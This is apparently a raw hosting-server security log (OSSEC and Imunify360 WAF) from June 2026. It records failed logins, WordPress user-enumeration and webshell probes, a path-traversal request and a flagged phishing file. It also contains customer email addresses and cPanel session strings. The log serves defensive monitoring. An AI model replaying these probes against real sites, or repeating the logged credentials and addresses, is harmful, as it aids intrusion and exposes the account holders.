

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.142.159
country_id: 690791
description:
Jun 15 10:59:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.142.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:01:07 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36626: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.69
country_id: 3469034
description:
Jun 15 11:01:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.175.242.39
country_id: 2635167
description:
2026-06-15 11:01:46 dovecot_login authenticator failed for H=(cameg-togo.tg) [5.175.242.39]:46387: 535 Incorrect authentication data (set_id=sales@mail.cameg-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.141
country_id: 1880251
description:
47.128.96.141 - - [15/Jun/2026:11:03:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6713961&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Falpha-blondy%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781521412 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/alpha-blondy/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.141


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:03:54 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53108: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:11:04:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:04:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:11:04:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:04:25 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.243
country_id: 2363686
description:
2026-06-15 11:04:22 dovecot_login authenticator failed for H=(Nas) [154.70.82.243]:40412: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-15 11:05:00 +0000] info [cpaneld] 5.230.133.74 NEW wcnyaruu:52gcR29PtT5Hf636 address=5.230.133.74,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.233.115.58
country_id: 3469034
description:
186.233.115.58 - - [15/Jun/2026:11:06:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9685356&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F19%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781521559 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/19/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.8071.1742 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.233.115.58


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-15 11:07:17 +0000] info [cpaneld] 154.70.80.74 NEW cloudetracks:Z6iQgukRvwMJbsLk address=154.70.80.74,app=cpaneld,creator=cloudetracks,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - nicolas.ah@cloud-et-racks.tg [06/15/2026:11:08:18 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: nicolas.ah@cloud-et-racks.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.219.12.66
country_id: 3469034
description:
Jun 15 11:07:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.219.12.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.202.202
country_id: 1814991
domain: dagl.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:07:58 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:55788: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.107
country_id: 1880251
description:
47.128.122.107 - - [15/Jun/2026:11:07:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10133353&pdata=https%253A%252F%252Ftogodailynews.tg%252Finondation-la-population-de-la-region-des-savanes-invitee-a-la-vigilance-et-au-respect-des-consignes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781521642 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/inondation-la-population-de-la-region-des-savanes-invitee-a-la-vigilance-et-au-respect-des-consignes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.107


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.89.242.33
country_id: 2635167
domain: togosem.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.31.20
country_id: 1880251
domain: belali.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.227
country_id: 1643084
description:
[2026-06-15 11:08:30 +0000] info [whostmgrd] 157.66.56.227 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 157.66.56.227
country_id: 1643084
description:
[2026-06-15 11:08:32 +0000] info [whostmgrd] 157.66.56.227 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:10:05 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46530: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-15 11:12:02 +0000] info [cpaneld] 128.199.123.37 - mesyscomcom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 77.68.83.86
country_id: 2635167
domain: ca-togo.org
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.17||T:APACHE||MV:/images/images/cache.php||SC:/home/egjvuiox/public_html/images/images||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-15 11:12:51 +0000] info [cpaneld] 5.230.153.46 - camaegdtomgo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.192.69.161
country_id: 2635167
domain: togosem.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/aogodmm/public_html/wp-includes/sodium_compat/src/Compat.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.192.69.166
country_id: 2635167
domain: togosem.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/aogodmm/public_html/wp-includes/sodium_compat/src/Crypto32.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:13:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393197&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781522002 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:11:13:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120339&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781522006 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.195.82.54
country_id: 6252001
description:
[2026-06-15 11:13:30 +0000] info [cpaneld] 134.195.82.54 - camaegdtomgo "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:11:13:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262165&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781522005 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 11:13:57 +0000] info [whostmgrd] 85.215.117.93 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 11:13:56 +0000] info [whostmgrd] 85.215.117.93 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-15 11:14:18 +0000] info [cpaneld] 51.83.5.75 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/15/2026:11:14:53 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.227.14.141
country_id: 6252001
domain: ns9.netmaster.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:20:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:20:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.247.65.26
country_id: 2635167
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2024/11/WhatsApp-Image-2024-11-09-at-12.17.17-768x432.jpeg HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.107
country_id: 1880251
description:
47.128.122.107 - - [15/Jun/2026:11:21:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988712&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftransfert-de-propriete-mecanisation-independante-de-plaintes-foncieres%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781522517 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/transfert-de-propriete-mecanisation-independante-de-plaintes-foncieres/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.107


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.57.52.109
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST http:/togodailynews.tg:80/wp-admin/admin-ajax.php HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.221.105
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=l&_locale=user||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.221.105
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=lacs1.mairie.t&_locale=user||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/15/2026:11:23:47 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.114.40
country_id: 2363686
description:
[2026-06-15 11:24:22 +0000] info [webmaild] 196.170.114.40 - agou1@agou1.mairie.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.169.31.202] != Current IP Address [196.170.114.40]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.173.39.103
country_id: 2017370
description:
2026-06-15 11:25:29 dovecot_plain authenticator failed for H=broadband-109-173-39-103.ip.moscow.rt.ru (unglize) [109.173.39.103]:58096: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.173.39.103
country_id: 2017370
description:
Jun 15 11:25:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.173.39.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 104.243.196.251
country_id: 2661886
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:le-togo-accelere-son-ecosysteme-dinnovations-avec-des-initiatives-cles/||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.26
country_id: 2635167
description:
[2026-06-15 11:27:03 +0000] info [cpaneld] 5.230.153.26 NEW ifxmoxbf:WIojnR4yZXcEudmS address=5.230.153.26,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.110
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.712998807909413.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:28:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672294&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781522885 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:11:28:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052697&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781522887 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.158.223.192
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/tag/covid-19/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.143.114.106
country_id: 3996063
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/category/evenement/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.37.119.53
country_id: 286963
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/category/football/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 23.20.64.76
country_id: 6252001
domain: case-afrique.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/129.0.0.0 Safari/537.36||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.161.186.154
country_id: 290291
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/visite-du-ministre-allemand-de-la-cooperation-economique-et-du-developpement HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:32:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:32:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:32:33 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:43258: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.97.77.135
country_id: 2328926
description:
2026-06-15 11:34:04 dovecot_plain authenticator failed for H=(localhost) [98.97.77.135]:41960: 535 Incorrect authentication data (set_id=kido@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.248.65.30
country_id: 1835841
description:
Jun 15 11:33:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.248.65.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:35:36 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:34862: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.191.144.194
country_id: 3469034
description:
181.191.144.194 - - [15/Jun/2026:11:35:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13201556&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F53%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781523342 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/53/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4434.1940 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.191.144.194


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 44.240.155.235
country_id: 6252001
domain: www.sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../dev/cmdb/sslvpn_websession HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:11:42:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014423&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781523753 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 11:42:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52806: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
